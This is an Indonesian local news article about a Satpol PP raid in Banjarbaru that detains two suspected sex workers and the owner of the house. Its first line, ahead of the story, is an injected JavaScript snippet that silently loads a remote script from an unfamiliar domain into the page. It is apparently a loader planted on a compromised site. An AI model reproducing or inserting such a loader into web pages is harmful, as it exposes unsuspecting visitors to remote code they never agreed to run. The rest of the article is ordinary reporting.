(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Satpol PP Kota Banjarbaru razia di kawasan eks lokalisasi Pembatuan, alhasil 2 wanita terduga PSK diamankan sekitar pukul 12.00 Wita, Senin (19/3).
Satpol PP amankan 2 terduga PSK dari Jalan Kenanga, Kelurahan Landasan Ulin Timur, Kota Banjarbaru, di sebuah rumah yang memang telah menjadi tempat aktivitas asusila.
Penegak Perda Kota Banjarbaru menemukan S (43) sedang bersembunyi ketakutan di lorong sempit bangunan. LN (37) juga ikut ditangkap petugas karena sudah pernah ditangkap namun masih saja tinggal di rumah itu.
Pemilik rumah tersebut bernama M (55) ikut kena imbas, dia juga digiring ke kantor Satpol PP karena menyediakan fasilitas berupa kamar terhadap 2 terduga PSK tersebut. Dari pengakuan S, ia telah tinggal di rumah tersebut sejak awal bulan Maret, dengan membayar sewa Rp 300 ribu perbulan kepada pemilik rumah M. S mengaku mematok tarif sekali kencan Rp 70-80 ribu, lebih murah dari yang lainnya.
“Saya sudah murah patok tarif Rp 70-80 ribu untuk satu kali kencan. Tapi harga segitu masih juga ditawar tamu lebih murah, ya paham saja saya sudah tua,†beber S.
S mengaku memiliki satu orang anak dan mengatakan anaknya saat ini sedang berulang tahun ke 19. Sayang anak yang saat ini bekerja di pulau Jawa dan ikut dengan orang tua (kakek nenek) tersebut tak tahu apa yang terjadi pada ibunya saat ini. Tertangkap di tempat terlarang, S hanya bisa pasrah dan menjalani semua prosedur yang ada. “Hari ini anak saya ulang tahun mba,†ujar S yang mengaku warga Malang, Jatim ini. Saat ditangkap bersembunyi, S beralasan karena takut dengan anggota Satpol PP yang datang. Dari tangan S disita pula 6 bungkus kondom, satu buah bantal, dan satu bungkus tisu yang sudah terpakai. S mengatakan bahwa kedatangannya itu untuk bekerja di rumah makan, namun tak mengaku siapa yang mengajaknya. S mengaku menghitung kurang lebih telah melayani tamu sebanyak tiga orang, meski dia merasa sedih kalau masih di tawar padahal sudah mematok harga rendah.
Sedangkan LM mengaku, ia mengenakan tarif yang lebih besar sekitar Rp 150 ribu untuk sekali kencan. Pernah ditangkap 11 Januari lalu dan sudah pernah ikut sidang di pengadilan, dengan putusan membayar denda dan masa percobaan 3 bulan.
Awalnya LN mengaku hanya tinggal di rumah tersebut, untuk mengurus surat-surat. Petugas tidak langsung saja percaya, diselidiki lebih lanjut di kantor Satpol PP, LN akhirnya mengaku memang masih melayani tamu.
Kasatpol PP Banjarbaru Marhain Rahman mengatakan, telah mengamankan kedua terduga PSK di eks lokalisasi Pembatuan, berserta pemilik rumah.
“Untuk kedua PSK itu akan kita sidangkan sedangkan untuk pemilik rumah kami akan bongkar beberapa kamar yang digunakan untuk berbuat mesum,†ujar Marhain.
Tim Satpol PP akan terus melakukan pengecekan rutin untuk wilayah-wilayah yang terindikasi kegiatan prostitusi. Warga pun diminta berperan aktif untuk melaporkan kepada pihak berwajib apabila mencurigai aktifitas warga sekitarnya (devi/rico)
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Ahmad Zuhdianoor atau dikenal Abah Haji… Read More
This website uses cookies.